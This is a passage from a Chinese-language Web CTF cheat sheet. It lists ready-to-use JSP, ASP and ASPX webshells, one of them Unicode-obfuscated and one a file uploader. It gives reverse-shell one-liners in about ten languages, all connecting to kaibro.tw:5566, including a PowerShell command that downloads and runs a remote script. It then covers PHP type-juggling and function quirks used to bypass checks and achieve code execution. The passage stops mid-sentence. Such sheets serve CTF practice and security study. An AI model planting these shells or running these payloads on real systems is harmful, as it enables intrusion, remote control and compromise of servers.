Web CTF CheatSheet
");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("");
}
%>
```
- Unicode webshell:
```
<%\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006D\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u003B%>
```
(效果同 `<%Runtime.getRuntime().exec(request.getParameter("i"));%>`)
- JSPX webshell:
```xml
Runtime.getRuntime().exec(request.getParameter("i"));
```
- CP037 webshell:
```
…
```
(效果同上 JSPX webshell: `Runtime.getRuntime().exec(request.getParameter("i"));`)
- EL webshell:
```
${Runtime.getRuntime().exec("touch /tmp/pwned")}
```
## ASP Webshell
```
<%eval request("kaibro")%>
<%execute request("kaibro")%>
<%ExecuteGlobal request("kaibro")%>
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
```
## ASPX Webshell
- 一般:
```
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
```
- 上傳:
```
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>
```
# Reverse Shell
- 本機Listen Port
- `ncat -vl 5566`
- Perl
- `perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`
- Bash
- `bash -i >& /dev/tcp/kaibro.tw/5566 0>&1`
- `bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'`
- `0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196`
- PHP
- `php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'`
- NC
- `nc -e /bin/sh kaibro.tw 5566`
- Telnet
- `mknod backpipe p && telnet kaibro.tw 5566 0backpipe`
- Python
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- Ruby
- `ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'`
- Node.js
- `var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});`
- `require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");`
- Java
- `Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();`
- `java.lang.Runtime.exec()` payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html
- Powershell
- `powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd`
# PHP Tag
- ``
- short_open_tag 決定是否可使用短標記
- 或是編譯php時 --enable-short-tags
- ``、`<%=`
- 自`PHP 7.0.0`起,被移除
- 須將`asp_tags`設成On
- ``
# PHP Weak Type
- `var_dump('0xABCdef' == ' 0xABCdef');`
* true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
- `var_dump('0010e2' == '1e3’);`
- true
- `strcmp([],[])`
- 0
- `sha1([])`
- NULL
- `'123' == 123`
- `'abc' == 0`
- `'123a' == 123`
- `'0x01' == 1`
- PHP 7.0 後,16 進位字串不再當成數字
- e.g `var_dump('0x01' == 1)` => false
- `'' == 0 == false == NULL`
- `md5([1,2,3]) == md5([4,5,6]) == NULL`
- 可用在登入繞過 (用戶不存在,則 password 為 NULL)
- `var_dump(md5(240610708));`
- 0e462097431906509019562988736854
- `var_dump(sha1(10932435112));`
- 0e07766915004133176347055865026311692244
- `$a="123"; $b="456"`
- `$a + $b == "579";`
- `$a . $b == "123456"`
- `$a = 0; $b = 'x';`
- `$a == false` => true
- `$a == $b` => true
- `$b == true` => true
- `$a = 'a'`
- `++$a` => `'b'`
- `$a+1` => `1`
# PHP 其他特性
## Overflow
- 32位元
- `intval('1000000000000')` => `2147483647`
- 64位元
- `intval('100000000000000000000')` => `9223372036854775807`
## 浮點數精度
- `php -r "var_dump(1.000000000000001 == 1);"`
- false
- `php -r "var_dump(1.0000000000000001 == 1);"`
- true
- `$a = 0.1 * 0.1; var_dump($a == 0.01);`
- false
## ereg會被NULL截斷
- `var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));`
- `1`
- `ereg` 和 `eregi` 在 PHP 7.0.0 已經被移除
## intval
- 四捨五入
- `var_dump(intval('5278.8787'));`
- `5278`
- `intval(012)` => 10
- `intval("012")` => 12
## extract變數覆蓋
- `extract($_GET);`
- `.php?_SESSION[name]=admin`
- `echo $_SESSION['name']` => 'admin'
## trim
- 會把字串前後的空白(或其他字元)去掉
- 未指定第二參數,預設會去掉以下字元
- `" "` (0x20)
- `"\t"` (0x09)
- `"\n"` (0x0A)
- `"\x0B"` (0x0B)
- `"\r"` (0x0D)
- `"\0"` (0x00)
- 可以發現預設不包含 `"\f"` (0x0C)
- 比較:`is_numeric()` 允許 `\f` 在開頭
- 如果參數是 unset 或空的變數,回傳值是空字串
## is_numeric
- `is_numeric(" \t\r\n 123")` => `true`
- `is_numeric(' 87')` => `true`
- `is_numeric('87 ')` => `false`
- `is_numeric(' 87 ')` => `false`
- `is_numeric('0xdeadbeef')`
- PHP >= 7.0.0 => `false`
- PHP < 7.0.0 => `true`
- 可以拿來繞過注入
- 以下亦為合法(返回 True)字串:
- `' -.0'`
- `'0.'`
- `' +2.1e5'`
- `' -1.5E+25'`
- `'1.e5'`
## in_array
- `in_array('5 or 1=1', array(1, 2, 3, 4, 5))`
- true
- `in_array('kaibro', array(0, 1, 2))`
- true
- `in_array(array(), array('kai'=>false))`
- true
- `in_array(array(), array('kai'=>null))`
- true
- `in_array(array(), array('kai'=>0))`
- false
- `in_array(array(), array('kai'=>'bro'))`
- false
- `in_array('kai', array('kai'=>true))`
- true
- `in_array('kai', array('kai'=>'bro'))`
- false
- `in_array('kai', array('kai'=>0))`
- true
- `in_array('kai', array('kai'=>1))`
- false
## array_search
- `mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])`
- 在 `haystack` 陣列中,搜尋 `needle` 的值,成功則返回 index,失敗返回 False
- `$strict` 為 false 時,採用不嚴格比較
- 預設是 False
- Example
- `$arr=array(1,2,0); var_dump(array_search('kai', $arr))`
- `int(2)`
- `$arr=array(1,2,0); var_dump(array_search('1', $arr))`
- `int(0)`
## parse_str
- `parse_str(string, array)`
- 會把查詢字串解析到變數中
- 如果未設置第二個參數,會解析到同名變數中
- PHP7.2 中不設置第二個參數會產生`E_DEPRECATED`警告
- `parse_str('gg[kaibro]=5566');`
```
array(1) {
["kaibro"]=>
string(4) "5566"
}
```
- PHP 變數有空格和`.`,會被轉成底線
```
parse_str("na.me=kaibro&pass wd=ggininder",$test);
var_dump($test);
array(2) {
["na_me"]=> string(6) "kaibro"
["pass_wd"]=> string(9) "ggininder"
}
```
## parse_url
- 在處理傳入的 URL 會有問題
- `parse_url('/a.php?id=1')`
```
array(2) {
["host"]=>
string(5) "a.php"
["query"]=>
string(4) "id=1"
}
```
- `parse_url('//a/b')`
- host: `a`
- `parse_url('..//a/b/c:80')`
- host: `..`
- port: `80`
- path: `//a/b/c:80`
- `parse_url('///a.php?id=1')`
- false
- `parse_url('/a.php?id=1:80')`
- PHP < 7.0.0
- `false`
- PHP >= 7.0.0
```
array(2) {
["path"]=> string(6) "/a.php"
["query"]=> string(7) "id=1:80"
}
```
- `parse_url('http://kaibro.tw:87878')`
- 5.3.X版本以下
```php
array(3) {
["scheme"]=> string(4) "http"
["host"]=> string(9) "kaibro.tw"
["port"]=> int(22342)
}
```
- 其他: false
## preg_replace
- `mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )`
- 搜尋 `$subject` 中匹配的 `$pattern`,並用 `$replacement` 替換
- 第一個參數用 `/e` 修飾符,`$replacement` 會被當成 PHP code 執行
- 必須有匹配到才會執行
- PHP 5.5.0 起,會產生 `E_DEPRECATED` 錯誤
- PHP 7.0.0 不再支援,用 `preg_replace_callback()` 代替
example:
```php
php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);
```
## sprintf / vprintf
- 對格式化字串的類型沒檢查
- 格式化字串中 % 後面的字元(除了 % 之外)會被當成字串類型吃掉
- 例如 `%\`、`%'`、`%1$\'`
- 在某些 SQLi 過濾狀況下,`%' and 1=1#` 中的單引號會被轉義成 `\'`,`%\` 又會被吃掉,`'` 成功逃逸
- 原理:sprintf 實作是用 switch...case...
- 碰到未知類型,`No open issues yet, or sync has not completed.